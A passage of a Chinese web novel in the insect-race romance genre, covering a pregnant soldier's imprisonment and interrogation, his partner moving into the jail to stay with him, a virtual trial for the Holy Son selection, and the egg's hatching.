珀斯晶体是一种美丽的冰蓝色矿石,对暴乱扰动的精神丝具有极强的安抚作用,刚开始虫族为发现这种珍贵矿物而大喜过望。但他们很快就发现,服用过甚至是佩戴过珀斯晶体的雌虫,会变得越来越易怒狂躁,直至最后无论浓度多高的晶体都无法安抚。 甚至他们也不再能接收雄虫的信息素和精神梳理,只能在珀斯晶体堆里七窍流血躁狂致死,死相极为难看。 现在,珀斯晶体被高度稀释后制为精神力抚慰剂。精神域狂躁的雌虫可以申请少量服用来缓解,为自己寻找合适的雄虫增加时间。 审讯室内一时落针可闻。 安莫因从侧面阴狠地盯着赫尔辛斯,刚才的淡然无影无踪。 该死的家伙!这么重要的事一声都不吭!! 安莫因这时庆幸索涅被拦在外面。他心里把赫尔辛斯骂个狗血淋头,但他的第一反应也是瞒着索涅。 “……继续吧,怎么不问了?”安莫因阴恻恻的声音响起。 审讯官似乎被“珀斯晶体”这几个字给镇住,定定地盯着赫尔辛斯的小腹。 “您这样恐怕不太礼貌,”赫尔辛斯用衣袖盖住腹部,“植入的地方在后颈。” “咳。”审讯官尴尬地轻咳一声,“那么下一个问题。当初你为什么攻击西沙殿下?” “和上次的答案一样,我没有攻击他。”赫尔辛斯说。 “但艾浮殿下提供了证据,监控里你用骨翼击飞了西沙殿下。”审讯官立刻说。 赫尔辛斯说:“我攻击的不是圣子,是一只善于伪装的安斯族间谍。我坦白说,如果圣子真的被我的骨翼击飞,三个月内他都无法直立行走,更别提三天后就在法庭上指证我。” 安莫因不客气地笑了一声。 “唔……六年前你似乎也是这么说的,但遗憾的是,西沙殿下那天穿戴了金晶防护装备,上面还有你骨翼上遗落的皮肤组织。”审讯官说。 赫尔辛斯闭上眼,他的眼睛已经开始无法看清东西,“我的骨翼在训练中经常受伤,皮肤组织很容易得到。” 看到他眼角生理性的流泪,审讯官心中一松,语速快而严厉,“你的意思是身为圣子的西沙殿下陷害你?他当时是你的未婚雄主,竞选执政官离不开你的支持,怎么会害你?” 对此安莫因不得不提醒:“提交证据和诉讼的都是艾浮殿下,你们最高法办事都这么没效率吗?既然暂时没有结果,怎么不开始第二部分?” 审讯官一顿:“……委员长阁下,我还是认为您应该出去。” “太巧了,我也认为应该换个审讯官。”安莫因面无表情地说,“是你的长官请我来的,我顺便在这儿看个戏放松心情,怎么,想卸磨杀驴?” “……” 审讯官脸色不太好看。安莫因到底是和谁有仇?怎么感觉不是赫尔辛斯,而是他们? —— 此刻室外,索涅正和西沙各坐一边,两相生厌。 西沙的雌侍匆匆赶来,不动声色将原来的守卫挤到一边,“殿下,您怎么屈尊要来这种地方。” 西沙起身让雌侍给他穿上外衣。这鬼地方真冷。 “赫尔辛斯好不容易回来,我当然应该来看看他。”他的声音一如既往做作。 “您辛苦了,希望他识相点。”雌虫说着,瞥了一眼安然坐着的雄虫。 他只看到雄虫乌黑的发丝。 西沙姿态尊贵地坐下,雌侍还给他搬来一个脚凳,又撤走桌上点心,换为昂贵的鲜果和圣山特制点心。 西沙将果盘推向索涅,语气柔和:“可能还要等一会儿,不如先吃点东西吧。” 索涅侧过头,雌虫顺理成章地看到他的侧脸,几乎恍惚地以为是圣山上的那位坐在这里。 回过神来,却又发现这只雄虫压根不像费伦斯,只是同样的黑发给了他某种错觉。 “谢谢您,不过抱歉,我现在吃不下。”索涅简单地说了一句,又回过头盯着审讯室的门。 比起西沙无所事事坐立难安,他好像要镇定得多,面色平静呼吸稳定,似乎一点都不着急。 “你不担心赫尔辛斯吗?”西沙犯贱地问。 “有一点。”索涅说。 有一点是多少?西沙悻悻地吃了不少水果。 “既然你不看重他,不如把他让给我,我可以为他平反。当然,我也会给你数之不尽的财富,可以以我的名义给你申请一座宫殿,你也能住在圣山。”他开出一堆让普通虫眼红的条件。 “所有的贵族雌虫,包括王族,我都可以为你牵线,他们的地位怎么也比一只罪雌要高得多。”西沙继续加码。 “你考虑考虑,”他最后说,“或者你有什么条件尽管提,我都能满足。” 索涅终于从寂静的审讯室收回目光。 “您认为,这些东西可以从我这儿买走他?”他问。 西沙笑意微凝。 “索涅,这是我最后一次平等地跟你谈话,不要不知好歹。” 他心绪不平,焦躁地起身走到审讯室门前,突然冷笑一声。 “你以为你有什么选择的权利?他以前是我的,以后也会是我的。” 西沙回身盯着索涅,眼中露出一丝嘲讽:“你根本救不了他,你是在害他。” 索涅突然起身,朝他冲过来。 西沙瞳孔微缩,下意识后退几步,却被一股大力拨到一边,趄趔着勉强站稳。 “殿下!”他的雌侍惊慌地跑过来扶住他,敢怒不敢言地看着安莫因。 “抱歉,殿下您换了衣服,我一时没认出来。”安莫因毫无诚意地道歉。 “赫尔辛斯……”索涅看着雌虫紧闭的双眼,心脏凉了半截。 “被强光直射,一时睁不开眼而已,您不用担心。”赫尔辛斯温声道,这不过是最常用的审讯手段。 他感觉到一股温柔的力道落在双臂——雄虫抱住他,担忧地指尖轻触他的眼睑。 旁边的军雌想拦截索涅,被安莫因瞪了一眼,悻悻作罢。 “索涅阁下,他将被关入监牢,您可以回去了。”审讯官提醒道。 “赫尔辛斯。”西沙这时候出声。 “只要你认错,我可以不计前嫌,撤销对你的指控。”西沙说道,“我可以帮你取证平反,等你回到军部,回到王族,我们的婚约依旧作数。” 索涅握紧雌虫的手。 “他是我的。”索涅站在雌虫身前,挡住西沙估量货物的恶心目光。 “赫尔辛斯,你也这么觉得?你应该比他识时务,知道什么对你最有利。”西沙露出笑容,目光却毫无笑意。 “用不着他选,他是我的雌虫,一切都得听我的。”索涅的态度与平时大相径庭。 赫尔辛斯想说话,却被他暗示性地捏捏手心。 安莫因冷眼看着他们拉扯,目光一顿,落在西沙身旁的一只雌虫身上。 西沙已经维持不住体面的表情。 这只雌虫果然和以前一样令他厌恶! “……赫尔辛斯,我看错你了,你已经不是以前高贵的王虫,竟然甘愿放弃我,去给他当雌奴?我对你太失望了。” “希望你以后不要后悔。” 他说完大步地离开,越走越快。 转身的瞬间神色阴沉。 该死!该死!!! 这只胆大包天的雄虫,敢和他抢东西……西沙冷笑。 他的雌侍和守卫一声不吭地跟在他身后,审讯室外顿时空了一大半。 赫尔辛斯心中叹息,他的雄主真会拉仇恨。 “这些事不应该由您为我承担。”他轻声说。 索涅无所谓,反正再过几天竞选开始,西沙照样会盯上他。 “我每天可以来探视几次?每次多久?”他安抚地揉着雌虫的掌心,扭头问审讯官。 审讯官一愣,这只雄虫要来探视? 很久没有这种要求,具体的规则他竟然也一时想不起来,徒留尴尬的寂静。 “三次,每次一小时。”安莫因说。 审讯官刚想插嘴。 “不要忘记他怀蛋了,这可是王虫和A级雄虫的后代,它需要很多精神力。”他语气平淡地补充。 “这样的虫崽子,肯定力气大也皮实,长大后很适合扔到资源星挖矿。” 审讯官这下更加确定,安莫因这个谍中谍绝对不站赫尔辛斯一边。 他瞥到雄虫的表情,发现索涅无动于衷,不由得在心里给赫尔辛斯和他的虫崽子流了两滴鳄鱼泪—— 作者有话说:安莫因(忙忙碌碌):给崽崽准备三个矿星当百日礼[让我康康]《 》 40-50 第41章 您也想坐牢? 索涅离…… 索涅离开后, 安莫因靠在门边,看着赫尔辛斯双手双脚被戴上三层锁环。 “你就这么骗他?”他问,“他早晚有一天会发现, 到时你可就麻烦大喽。” 他的语气似乎幸灾乐祸。看管赫尔辛斯的三只军雌默不作声地听着。 “委员长阁下, 您还有三分钟。”一只军雌提醒道。 安莫因没理他。 “不劳委员长阁下操心。”赫尔辛斯缓缓地坐在单薄的铁床上。 “操心是不可能操心的, 不过这么好的笑话可不多见。”安莫因冷笑一声, 转身离开监牢。 三只军雌彼此目光相对, 往里看了一眼, 眼中意味不明。 手臂沉重得像绑着三十斤精铁,脖颈被同样的锁环压迫,就算这样在床边坐着也让赫尔辛斯感觉十分疲惫。 精神力难以动用分毫, 他清晰地感受到后颈那块和骨骼融合在一起的晶石。 过去的几个月里, 这块晶石就像不存在一样, 从未影响到他的精神域。 赫尔辛斯不得不怀疑艾浮是不是被骗了,这并不是珀斯晶石? —— 索涅缓缓地沿着街道, 走到手脚僵麻。冷风刮在他脸上,直到传来痛感,他才恍然若梦般惊醒,预定一架飞行舰回到家里。 房子空空荡荡,还是昨晚他和赫尔辛斯待过的模样。索涅想专心地思考一些事情, 却怎么也静不下心。 索涅开始煲鸡汤,菜刀狠狠地砍在案板上,将前两天刚买的新案板砍成两半后,他成功冷静下来了。 他迅速上到二楼, 给自己设定好闹钟后躺进游戏仓,短暂的意识停滞后,他面前立刻变成钴蓝色线条错杂的虚拟世界。 时隔多日, 索涅又站上了擂台。 擂台周围挤满虫子,沸沸扬扬的讨论声被他自动屏蔽,精神丝铺天盖地向对手扑过去,将整个擂台彻底淹没。 观众们看不清台上到底发生了什么,只是几秒之后,一具身体重重地击出擂台,在半空中就已经消散,只剩一缕特效青烟袅袅漂浮。 “……”等一下,但是……发生了什么? 他们特地蹲了很久,还以为这家伙不上线了,结果一上线来这么一招云里雾里? 系统宣布蓝色行星获胜,用时五秒。场下一片哗然。 索涅无心开直播,但围观的虫子开了,很快这一段不明就里的战斗视频在星网疯传。蓝色行星这个网名一度和骗子、营销专家挂钩,但仍旧拦不住爆火趋势。 索涅对这一切一无所知,他暴力地发泄了一通后就专心去模拟训练,下午带着大饭盒去找赫尔辛斯。 关押雌虫的监牢非常小,没有窗户,并且整个房间都被明亮的灯光覆盖,永不熄灭。 索涅没有胃口,坐在一旁看着赫尔辛斯。 他看着看着,心里难受得有种窒息感,心脏痛得绞成一团,他不知不觉泪流满面。 赫尔辛斯一抬头,看到他的雄主正红着眼眶,满眼心疼地看着他,泪水从下颌滴落在衣襟上。 他吓了一跳,连忙小心地擦掉要落不落的泪珠,“您……怎么哭了……” 他用指腹一点一点沾走泪水,索涅埋头扑进他怀里。 “我心里难受……赫尔辛斯,我怎么才能救你……”雄虫哭得一颤一颤。 赫尔辛斯从来没见索涅哭过,他不知所措,但心腔塌陷得柔软一片。 门外的军雌犹疑地探头进来,赫尔辛斯连忙伸手挡住雄虫的后颈。军雌神情一顿,面带复杂地离开。 在监狱里也要搞吗? 索涅哭了一会儿就回过神,不好意思地埋在雌虫怀里,精神丝悄悄地靠近虫蛋。 “……赫尔辛斯,我想陪着你。”他闷声说。 赫尔辛斯声音温柔低沉:“等重审结束,我也会一直陪着您。” “哼,”索涅不信,“等你恢复身份,不知道得有多忙。” “还有三十分钟。”军雌探头提醒。 索涅不敢闲聊了,让雌虫专心吃饭。监牢一天只提供一支营养液,但索涅觉得雌虫吃不饱。 时间过得那么快,索涅被三只军雌盯着,室内还响起警报声,他只得在雌虫唇上吻了一下,出来看着房门紧紧关闭。 索涅在门外待了一会儿,缓缓地走出幽深的走廊。 右手边一间显眼的管理处,他看了一会儿,突然走过去敲了敲窗户。 穿着军装的雌虫走过来,见是一只雄虫立刻打开门,“阁下您好!” “你好,”索涅坐在椅子上,“我有点事想咨询。” “您请说。”军雌受宠若惊,哪有雄虫会来咨询他啊! “我可以陪我的雌虫一起待在牢房吗?” “……” 军雌忍不住掏了掏耳朵。 “他怀了一枚等级很高的蛋,每天的探望时间根本不够,”索涅解释着,“我可以交住宿费。” “不不不!”军雌下意识拒绝,颇有点瞠目结舌,“您的意思是,您也想坐牢?” 索涅:“……不是坐牢,是陪他一起住在这里,我还有一些事需要做,所以得经常出去。” 军雌听懂了,但大为震惊。 他为难地看着索涅:“以前从没有这样的先例……他怀的是雄蛋?” “雌蛋。”索涅说。 军雌沉默了一会儿,“……请您写一份申请,我为您向上级报告情况。” 索涅感到一丝希望,立刻向用手环投出光屏,手写了一份申请书,把这辈子最恳切的言辞都用上了。 “麻烦你了。”他交给军雌。 “您不用客气。”军雌腼腆地看着他离开。 索涅心中有了希望,回去的路上又联系了恩修,得知莱昂兹已经回来,也对恩修说了一声恭喜。 “喜什么呀,他回来我嫌弃都来不及,你听听,吵死了。”恩修说。 索涅听到一阵乒乒乓乓的切菜声。 他心里怅然若失,只能一边掐着时间去监牢,一边等着最高法的回复。 十五天很快就过去,圣山在早上八点准时发布了圣子遴选公告,所有A级雄虫都可以在本星球参与初筛,由系统自动报名。 索涅上星网查看这些信息,无意间翻到几条讨论贴。他这才发现自己已经被超过五亿网民断断续续骂了几个月。 数之不尽的虫子去深度决斗举报他的账号无果,又去军部投诉系统bug,有虫用挂!但彻查下来蓝色行星根本没用挂,他们丝毫不信,由于正主一直不露面,骂得越来越凶。 他的所有战斗视频被翻出来反复揣摩,很快就有虫发现他通过模仿迅速进步,这下子又被骂出新高度。 索涅感到无语。神经病的数量和基数是成正比的,再加上虫族的奇葩生理,星网上的脑残尤其多。 他不在意,有虫对此非常在意。 最初发现蓝色行星和这位雄虫阁下身形很像,雌虫也没多想就把自己的猜测发到网上,没想到引来一群蓝色行星的狂热粉怒骂,他一气之下火力全开,买了大量水军和这批脑残粉对线,事态渐渐升级到控制不住。 前两天军部联系他,他也就顺势把帖子删掉了,属实已经骂累了。 然而他没想到的是,这时某只雄虫已经收拾东西搬进了牢房。 介于雄虫想住进来,并且言辞恳切,最高法捏着鼻子给他们换了个大点的牢房。于是索涅每天都会定时进游戏仓的事被几只军雌发现了。 他们刚开始以为这位阁下是爱玩游戏,直到发现星网上沸沸扬扬的蓝色行星上线时间和这位阁下完全吻合,并且索涅每天都会清理出大量精神力补充剂空壳。 他们由此产生一个惊悚的想法。 之前被骂遁的传言,不会……是真的吧? 一只军雌没忍住,偷偷将自己的发现发到了网上。 一群虫纷纷跑来问他在这儿做什么春秋大梦。倒不是骂蓝色行星,而是不相信有雄虫会做出陪雌虫坐牢这种事。 就算这只雌虫怀的是高级雄蛋也不可能,更别提是雌蛋。 军雌没反驳,他不敢声张。 然而这种离奇事件却借着蓝色行星的热度一飞冲天。有虫真的在最高法门口蹲守到一只雄虫按时进出。 长得和蓝色行星非常像。 上午他刚把拍到的索涅发到星网上,下午就被执法队敲响了家门。偷拍高级雄虫并暴露信息,被罚款五万星币。 经过一整天的发酵,相关评论一秒万条迅速滚动,眼花缭乱到根本看不清。 而此时,赫尔辛斯躺在索涅腿上。索涅正在看书。 他用精神丝缓缓地摩挲着雌虫的小腹,虫蛋又长大了。已经是深夜,索涅放下书,给雌虫腹部涂抹润肤油。 这块凸起并不大,像一块小面包。 雌虫躺在他身边,静静地看着他。 “怎么了,不困?”索涅轻声问他。 他一边问,一边用手指梳理着雌虫漂亮的金发。 “辛苦您了。”赫尔辛斯眼眶微红。 索涅一笑:“这算什么辛苦,其实比我自己待在家里要幸福得多。” “睡吧。”他轻轻地将手指放在雌虫的眼睛上。 监牢彻夜灯火通明,他们只能蜷在一起,为彼此遮挡出一片安宁的黑暗。 主星的筛选效率显然快得多,第二天下午索涅就收到了第二轮的通知,附赠一长串安全说明和待签合同,索涅签字后递回圣山。 没过一小时,他的手环接二连三狂震,收到十八条好友申请。 索涅一脸懵,接通突然弹出的通话请求。 “索涅阁下您好,我是圣山守卫长莱奥多·菲格,奉命前来保护您竞选期间的安全,您不在家?” “……抱歉,我现在在监狱,你们可以改天再来吗?”索涅说。 “您在监狱?!”那头震惊地疑问,旋即语气坚定,“请您稍等,我们马上过来!” 索涅:“不——” 对方挂断了。 赫尔辛斯在旁边看着他。 “他们……”索涅不可置信,“这么多,不会要住到我们家里吧?” 赫尔辛斯失笑,“当然不会,他们一般住飞行舰。” 索涅松了口气,精神丝不断地盘着雌虫的小腹。 赫尔辛斯却心中思索,千年之前虫族只由圣山神殿掌管着,那时菲格家族就是圣山的绝对拥护者,现在也不例外,和费伦斯有诸多利益往来,算是除王族之外权势最大的贵族。 莱奥多·菲格的性子一向懒散,这么积极地赶过来…… 赫尔辛斯看了一眼他专心学习的雄主,眸光一闪,“我有点犯困。” “虫崽子又欺负你了,”索涅让他躺在床上,用衣袖盖住他的眼睛,“睡吧。” 赫尔辛斯本来没有困意,在暗沉沉的视野下,渐渐竟然真的睡着了。 第42章 第二轮试炼 赫尔辛斯迷迷糊糊中,…… 赫尔辛斯迷迷糊糊中, 似乎听到索涅在和谁说话。 “……你们先回去,我这儿不方便……不需要……”索涅的语气带着疏离,“后续我会说明, 不好意思。” 索涅说完这些话, 一低头, 正对上雌虫刚刚睁开的苍金色眼瞳。那纤长的金睫上掉了一根, 粘在下眼睑。索涅不禁伸手将它取下, 指腹上那根眼睫颜色浅淡, 几乎看不见。 “吵醒你了?”索涅抱歉地看着雌虫,“我让他们回去了。” “我留在这里应该也挺安全。”索涅抬头看着密不透风的牢房。 赫尔辛斯:“……您真平和。” 索涅一怔。 他不禁想起初到虫族那几天,恐惧焦虑到不愿意和任何虫子说话, 被巨大的债务和畸形的社会压得喘不过气。把赫尔辛斯领回家后, 他意识到他有一只虫需要照顾, 不能颓废下去,后来才算慢慢适应虫族生活。 赫尔辛斯是他应对压力的良药, 只要赫尔辛斯在他身边,他的心境就坚不可摧。 索涅拿起书,说了一句并非情话的情话,“那是因为有你陪着我。” “您本来就很优秀。”赫尔辛斯坚持说。 “好吧,看来虫虫确实很喜欢我。”索涅被他的目光看得心头发软, 俯身将一个轻吻印雌虫柔润的唇上。 多日没有交合,孕期的雌虫忍得已经有点难受。 索涅用书挡着监控,只和雌虫交换了一个浅尝辄止的吻。 雌虫迷蒙地半睁着眼眸,躺在他身边仰望着他。 索涅喉结滚动, 艰难地移开视线,“你等等……我想想办法……” 赫尔辛斯脸上发烫,小声说:“您不用管我, 这个不要紧,只是生理反应而已。” 索涅用手指梳理着雌虫的长发。 雌虫在孕期欲望增强,前期索涅给的太多,导致赫尔辛斯的反应格外强烈,但他们的环境却不允许。 索涅琢磨之后,又向最高法发了一份申请。 今时不同往日了,他现在是圣子候选者。最高法一天内就给了答复,他们提出在赫尔辛斯身体内植入一枚监控芯片,就可以直接放他们回家。 简直脑残。索涅毫不犹豫地拒绝。 他万分后悔自己给雌虫清理的时候没有挖干净,不合时宜地揣了崽。 索涅头天让圣山的那群雌虫不用过来,第二天就被堵在最高法安检部门口。 “阁下!总算是找到您了!”穿着白色古老样式军服的雌虫惊喜地冲过来,视线落在索涅身上,俯身行礼。 “……你是谁?”索涅侧退一步。 雌虫优雅地抬起身:“莱奥多·菲格向您问好。” 负责检查探视者的军雌走过来,“阁下,他们声称是您的守卫,但我们没有让无关虫进入的权利。” “阁下,”莱奥多上前一步,语气柔和,“您身份尊贵,这样的地方不宜久留,您回到住所,我们才能更好地保护您。” 索涅手上还拿着早餐,莱奥多殷勤地去帮忙,被他侧身躲开。 “你们饿了?外面有快餐店。”索涅不明白他为什么抢自己食物。 莱奥多笑脸一僵。 “阁下,这样的地方很不方便……”莱奥多委婉地说,“会影响您在贵族中的声誉。” “我有一件比声誉更重要的事,难道我离开这里就能有什么好名声?”索涅回身淡漠地问。 如果贵族能影响试炼,那么他已经无所谓了,只要参与选拔就是站在梅尔加王族的对立面。 除去梅尔加,其余家族也会推出自己的雄虫参与选拔。索涅和他们没有利益往来,也不会娶贵族的雌虫。 索涅只有赫尔辛斯。 莱奥多哑然。他只能看着身形高挑挺拔的雄虫缓缓走远,消失在层层防护墙之后。 “我们现在怎么办?”他身后一只雌虫说,“怎么和执政官阁下交代?” 莱奥多心里不耐烦,“你刚才为什么不出声?” “我为什么要出声?”梅里纳·苏利安诧异地问,“你不是守卫长吗?” “抢了你的风头多不好。” 莱奥多冷嗤一声,转身大步离开。 梅里纳姿态懒散地走出最高法,上了另一架小型飞行舰,眨眼间无影无踪。 其余雌虫彼此对视一眼,纷纷跟上莱奥多。 索涅回到监牢,却发现在他出去时还在酣睡的雌虫已不见踪影。 “赫尔辛斯呢?”索涅后颈出了一层冷汗,着急地问旁边的军雌,“今天又有审讯?怎么不提前告诉我?他去哪儿了?” “阁下,请您别着急,他只是被带去做个例行检查,毕竟他怀了蛋。”军雌说道,带着索涅弯弯绕绕地走到另一幢建筑。 索涅隔着厚厚的玻璃,看到里面赫尔辛斯正从手术床上起身。他嗓子眼里高提的一口气才算落回胸腔。 这太突然了,吓了他一大跳。 索涅站在门口,看着赫尔辛斯和全副武装的医雌说了几句话。雌虫也看到了索涅,冲他眨了眨眼睛。 索涅唇角不自觉地扬起。 “赫尔辛斯!”他在雌虫出来的一瞬间冲上去抱住。 “我刚买好早餐回来,就发现你不见了。”他控诉。 “抱歉,他们说要给虫蛋做个检查。”赫尔辛斯眼中带着歉意,“我应该等您回来的。” 索涅低声:“……没事,是我太着急了,虫蛋状态怎么样?” “预产期在月底,”赫尔辛斯说道,“发育得很好,应该会是个等级不错的崽崽。” 锁环深深嵌进他的经脉,时时刻刻绷紧他的肌肉,肩膀膝盖已经开始出现青紫,被虫纹散发的能量治愈,又反反复复地淤青。 雌虫挪动脚步,努力想装作毫无异常,但还是露出一丝凝滞。 “我帮你。”索涅说。 他俯身捞住雌虫膝弯,略一用力,赫尔辛斯就身体离地倒在他怀里。 旁边军雌一脸见鬼的表情。 “您快放我下来……”赫尔辛斯挣扎着想去踩地,“没有雌虫会被这样抱……” “再挣扎就掉下去了。”索涅轻声说。 赫尔辛斯不敢再动,怕给他固执的雄主增加负担。 “比以前胖了点。”索涅将雌虫放在床上,说道。 “……我都说让您放我下来。”雌虫很在乎外表,被这样说,有点不高兴。 “不是说你重,而是……”索涅带着笑意的目光落在他身后,“变软了。” 赫尔辛斯:“……” 他没有说话,但神情缓和,没有刚才那么不乐意。 索涅笑着,把还温热的食物推到雌虫面前,看着他一点点全部吃掉。他也跟着吃了不少,胃口仿佛变好了。 “第二轮开始的时间也在月底,希望不要是同一天。”索涅说道。 赫尔辛斯很没有情调地说:“您放心,雌虫生蛋很容易,您剥一个橘子我就生出来了。” 索涅:“……那我也想陪着你。”他就是不想看不到赫尔辛斯。 雌虫笑得像个大草莓棉花糖,索涅忍不住凑过去吃了一口,舌尖弥漫切实的甜意。 “……” 事实证明恩修有预言家潜质,而索涅是个乌鸦嘴。圣山将第二轮虚拟测试的时间定在二十六至二十九号号,二十八号轮到索涅时,虫蛋仍旧安然地窝在雌虫肚子里。 索涅必须离开这里,到圣山莫里斯宫去参加测试。 他站在门口。 雌虫精致的眉眼垂下,缓缓地走过来执起索涅的手,将额头轻轻地贴在手背上。 “您一定会通过,我等您回来。”赫尔辛斯说。 总是这样,他对索涅,比索涅自己更有信心。 “我不会让你失望。”索涅看着雌虫的眼睛说。 他吻了一下雌虫的唇,披上斗篷走出监牢,衣角消失在赫尔辛斯面前。 几分钟之后,赫尔辛斯确定雄虫已经走远,他来到门口。 “我要求一些温水,”他唇色泛白,“我的蛋快要出生了。” 军雌们神色一惊。 —— 索涅第一次来到莫里斯宫内部。 走近看,洁白的墙壁在高海拔的阳光下圣洁道刺眼。宫殿外部通体由圣白石打造,内部装饰极尽奢华庄严。 数之不尽的宝石切片镶嵌出华美的穹顶壁画,十多米的暗红色丝绸窗帘上坠着金色流苏,像流淌的血色瀑布。内部弥漫着一股香料与矿石尘土混合的味道,有些刺鼻,但并不难闻。 不知名的地砖巨大而厚重,吸收了他们全部的脚步声,衣角摩挲的声音被空旷的空间无限回弹放大。一众虫子在这寂静里忍不住屏住呼吸。 他们从正门进入宫殿,走过无数个紧闭的大门,最终在一扇布满花藤浮雕的门前停下。 大门缓缓打开,露出里面早已等待多时的众虫。 坐在高位的黑发雄虫应该就是费伦斯执政官,安莫因坐在他左下手第一位,对面是梅尔加王族族长奥维。 索涅站在队伍当中,清晰地感受到两道视线落在自己身上。他抬头望去,却什么也没发现。 他们走到大厅中央,在各自编号的虚拟仓前站定。 里三圈外三圈,今天来的雄虫足有上千只。 “欢迎雄虫阁下们到来,”费伦斯缓缓地开口,“今天是第二轮第三组,请阁下们仔细地听规则,一旦犯规,扣除本轮百分之十积分。” 机械音将长篇大论的试炼规范循环播放三遍,索涅尽力想保持镇静,可心中还是泛起一丝焦急。他想尽快回去。 虚拟仓从空中下落,雄虫们坐在仓中后,仓体又漂浮到十米高的空中。下方巨大的环形光屏如同一幅书卷徐徐展开。 索涅闭上眼睛,意识瞬间抵达一片陌生的虚拟宇宙。 巨大的红色数字悬浮在他眼前。 “3,2,1,0!” 红色数字化为十分钟倒计时悬浮在他眼前,末位疯狂跳动。 索涅迅速地从控制台调出磁流图,精神丝顺着每一条纹路渗透蔓延,周围的磁流异常被他逐一标记。 星舰化为一道流光,眨眼间消失在初始位。 奥维看似一派坦然,实则紧紧地盯着光屏,心中不断分析着梅尔加八十只雄虫的策略。 比起西沙和艾浮还有些差距,但和其他雄虫放在一起,那就是比下有余。 奥维心中满意,这次梅尔加垄断圣子大有希望。 在他志得的笑意中,积分榜悄然跳动!一百零五号一跃两百名,将梅尔加的十几只雄虫顶了下去,并且以一个恐怖的速度迅速爬升! 奥维脸上笑意敛去。 “看来上次选拔时,有许多沧海遗珠。”安莫因淡淡地说。 “总是难免的。”费伦斯说道。 奥维神情凝滞。他不认为这是在说梅尔加的雄虫。 “他的精神力等级很高,应该是摸准了资源星的位置,才控制星舰精准穿梭。”费伦斯说。 奥维听出了费伦斯语气里的满意。他也还记得费伦斯当初就是这么做的。 这不是有权有势就能做到,完全取决于精神丝的精度,和传统的笨办法是质的区别。 梅尔加最优秀的几只雄虫还霸榜前十,奥维死死地盯着排名,耳朵却在偷听周围虫的讨论。 已经有雄虫胡乱投完所有卫星,却没有被星球捕获计入积分,不得不回头一个一个往回捡。 积分差距已经越拉越大。 一百零五号跳排名的速度则越来越慢,最终停止不动。 奥维松了口气,好歹前五名还是梅尔加。 他刚放下心休闲地翘起腿,就看到第六名的位置猛地闪烁,一百零五号消失不见。 奥维缓缓地从下往上看。 第五名,不是;第四名,不是;第三名,也不是…… 不止他,这突然的跃升让很多虫都没反应过来,他们没怀疑一百零五号会降名次,下意识向上看。 [序号一,一百零五号,标记星球一百零九,有效标记百分之百,犯规零,积分一百零九万整。] “……” 众虫下意识看过去,果然见奥维·梅尔加脸上压着沉沉黑云。 “呀,费伦斯阁下,看来你不是最高记录保持者了。”安莫因惊叹,语气很没诚意。 费伦斯没有看他,只是说道:“被超越是记录保持者的宿命。” 安莫因不置可否,仰头和费伦斯一样看着最顶端的名号。 第43章 圆嘟嘟虫蛋 索涅疲惫地坐在虚拟舱…… 索涅疲惫地坐在虚拟舱里, 脑袋眩晕视野模糊,腿脚都一阵阵发软。 他的精神力已经一丝一毫都不剩,也就比曾经第一次进深度决斗好一点。 “阁下?阁下!”众多虫子围过来, 离得近的虫一声惊呼, “索涅阁下状态不对!” 费伦斯不禁蹙起眉头, 暗藏担忧的的眼睛落在安莫因眼中。 安莫因快速地朝那边走过去, 转身时微不可察地冲费伦斯摇摇头。 费伦斯起身的动作顿时停滞, 缓缓地又坐了回去, 这是大家的注意力都在那边,他定定地看着,也不显得突兀。 “奥维族长, 你笑什么。”费伦斯余光瞥到奥维幸灾乐祸的表情。 “……”奥维神情一滞, 清晰地感受到周围意味深长的视线。 “执政官阁下, 请容许我先为梅尔加雄子们全部晋级而感到欣慰,”奥维清清嗓子, “毕竟梅尔加们从古至今都是如此优秀。” “一棵藤上难免有歪瓜裂枣,”安莫因检查过索涅的状态后舒了口气,闻言冷笑,“身为王族,您又是族长, 这话未免太过浅薄。” 白玉蜂不像恩其顿,他可不用顾及梅尔加的面子,说一声“您”已经是最大的尊重。 奥维已经被安莫因怼习惯,神色间漏出一丝不忿, 但他拿安莫因毫无办法。 “他怎么样?”费伦斯懒得理会奥维幽怨的视线,“精神域有没有受伤?” “他控制得很好,只是一丝精神力都不剩而已, 没有大碍,好好养两天就行。”安莫因坐回原位,“嘈杂成这样,执政官阁下您是不是应该说两句?” 他对费伦斯总是不怎么客气,费伦斯却不搭理他,所有虫也都见怪不怪。 “各位,把索涅阁下交给医雌们——” “执政官阁下,我能否先离开?”索涅稍微恢复了些力气,缓缓地说道。 他静静地站立着,唇色苍白如纸,和费伦斯遥遥对视。 “还有核对的流程,晚间有一场宴会,你一来一去,会很麻烦。”费伦斯耐心地说。 “能够参加莫里斯宫举办的宴会,是很难得的机会,不建议你放弃。”奥维也穿上了羊皮。 索涅刚才喝下了一支补充剂,这会儿已经开始见效。同组比赛的雄虫们隐隐分成几组,从背后看着他。 “不参加会影响积分?”索涅问道。 费伦斯截胡安莫因的话茬:“当然不会,宴会只是交友的手段,你为什么这么着急回去?” “……我的雌虫快生蛋了。”索涅说。 费伦斯眼瞳微张,下意识与安莫因对视一眼。 奥维狐疑地看着他们。 “雌虫生蛋而已,有什么稀奇的?听说你的雌奴是赫尔辛斯·恩其顿?那倒确实有点看头。”奥维随意地说道。 丝毫不觉得哪里不对,直到他意识到在场所有虫都在盯着他看。 索涅的眼神尤其恐怖。 “咳,我的意思是说,恩其顿的外表不一直都为虫称赞?”奥维找补。 “既然这样,我派飞行舰送你回去,如果你还想参加宴会,莫里斯宫的大门永远为你敞开。”费伦斯示意侍官带索涅去舰场。 “多谢您。”索涅躬身。 索涅离开后,安莫因啧啧称奇,“执政官阁下很看好他?” “长得和我有点像罢了。”费伦斯淡淡地说。 安莫因后脖颈一凉。 —— 紧闭的门突然传来一阵响声。 赫尔辛斯目光警惕,悄无声息将手中的蛋塞进保育箱里,藏到身后。 门外军雌的声音传入耳中,“索涅阁下,您不用着急——””雄主?”赫尔辛斯不可置信地看着索涅,“您怎么……这么快就回来了?” 索涅粗喘着,额头布满豆大的汗珠,顺着鬓角滑落到下颌。 空气里弥漫着一丝浅淡的血腥气。 “我没参加宴会,”在赫尔辛斯惊讶的目光里,索涅走到他旁边,嘴唇颤抖着,“他们说,蛋生出来了……” 雌虫抿起一个笑,回身取出三十厘米见方的小箱子。 温暖的黄色灯光中,一个通体布满淡金色纹路、圆滚滚胖嘟嘟的蛋正坐在里面,周围堆满柔软的织物。 索涅不禁屏住呼吸。 看到这个蛋,索涅没有任何不适或感到奇怪。赫尔辛斯捧着箱子,眼里露出闪烁的期待。 